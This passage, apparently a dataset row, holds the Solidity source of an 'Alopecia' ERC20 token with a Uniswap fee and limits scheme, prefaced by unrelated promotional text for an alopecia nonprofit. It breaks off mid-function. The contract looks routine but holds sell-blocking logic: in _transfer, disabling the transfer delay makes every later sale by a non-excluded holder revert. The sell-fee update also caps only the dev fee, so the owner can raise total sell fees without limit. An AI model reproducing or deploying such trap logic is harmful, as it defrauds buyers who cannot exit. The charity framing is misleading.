address
stringlengths
42
42
source_code
stringlengths
32
1.21M
bytecode
stringlengths
2
49.2k
slither
sequence
0xf3845ffa9bb80487bd588cc623fa447390ff1136
/* Alopecia Areata: The shame and embarrassment of this disease devastates the lives of too many women and girls when treatments do not work. Since 2007 Bald Girls Do Lunch has connected with over 3,000 to restore self-confidence and conquer isolation. With requests for meet-ups in every state and beyond the USA, Bald Girls is answering the plea for women to find others for community and support. From intimate groups to style workshops to restoring her looks, BGDL puts women on the track to normalcy and living well with this disease. Bald Girls Do Lunch is a rapidly growing network with nationwide and global momentum. We're the only non-profit specifically created for women with alopecia areata – the autoimmune skin disease which stops the normal growth of hair on the scalp, brows, lashes and body. Founder, Thea Chassin, has alopecia areata universalis since 1997 and her health degrees from Columbia University and New York University. Bald Girls Do Lunch takes pride in bringing up-to-date and accurate medical information. We're known for superb motivation, practical results, and realistic expectations that improve lives quickly. Our format facilitates communication and life skills. There are no cures for this condition. New treatments are not imminent. That's why BGDL helps women from coast to coast cope effectively today. BGDL is the best program for women – too many of whom are hiding in plain sight, unable to talk openly to friends and family. We meet women and bring them together in their own states. */ // SPDX-License-Identifier: MIT pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; ////// lib/openzeppelin-contracts/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) /* pragma solidity ^0.8.0; */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } ////// lib/openzeppelin-contracts/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) /* pragma solidity ^0.8.0; */ /* import "../utils/Context.sol"; */ /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) /* pragma solidity ^0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) /* pragma solidity ^0.8.0; */ /* import "../IERC20.sol"; */ /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } ////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) /* pragma solidity ^0.8.0; */ // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } ////// src/IUniswapV2Factory.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } ////// src/IUniswapV2Pair.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } ////// src/IUniswapV2Router02.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } /* pragma solidity >=0.8.10; */ /* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */ /* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */ /* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */ /* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */ /* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */ contract Alopecia is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Alopecia", "ALOPECIA") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 6; uint256 _buyLiquidityFee = 4; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 4; uint256 _sellLiquidityFee = 6; uint256 _sellDevFee = 2; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 7_500_000 * 1e18; // 0.75% from total supply maxTransactionAmountTxn maxWallet = 30_000_000 * 1e18; // 3% from total supply maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x9F8f296d54723561f6126768E803891bCE611f87); // set as marketing wallet devWallet = address(0x8e55b48d52223C36ccC43D40578e9085221Ddc71); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellDevFee <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( transferDelayEnabled, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) 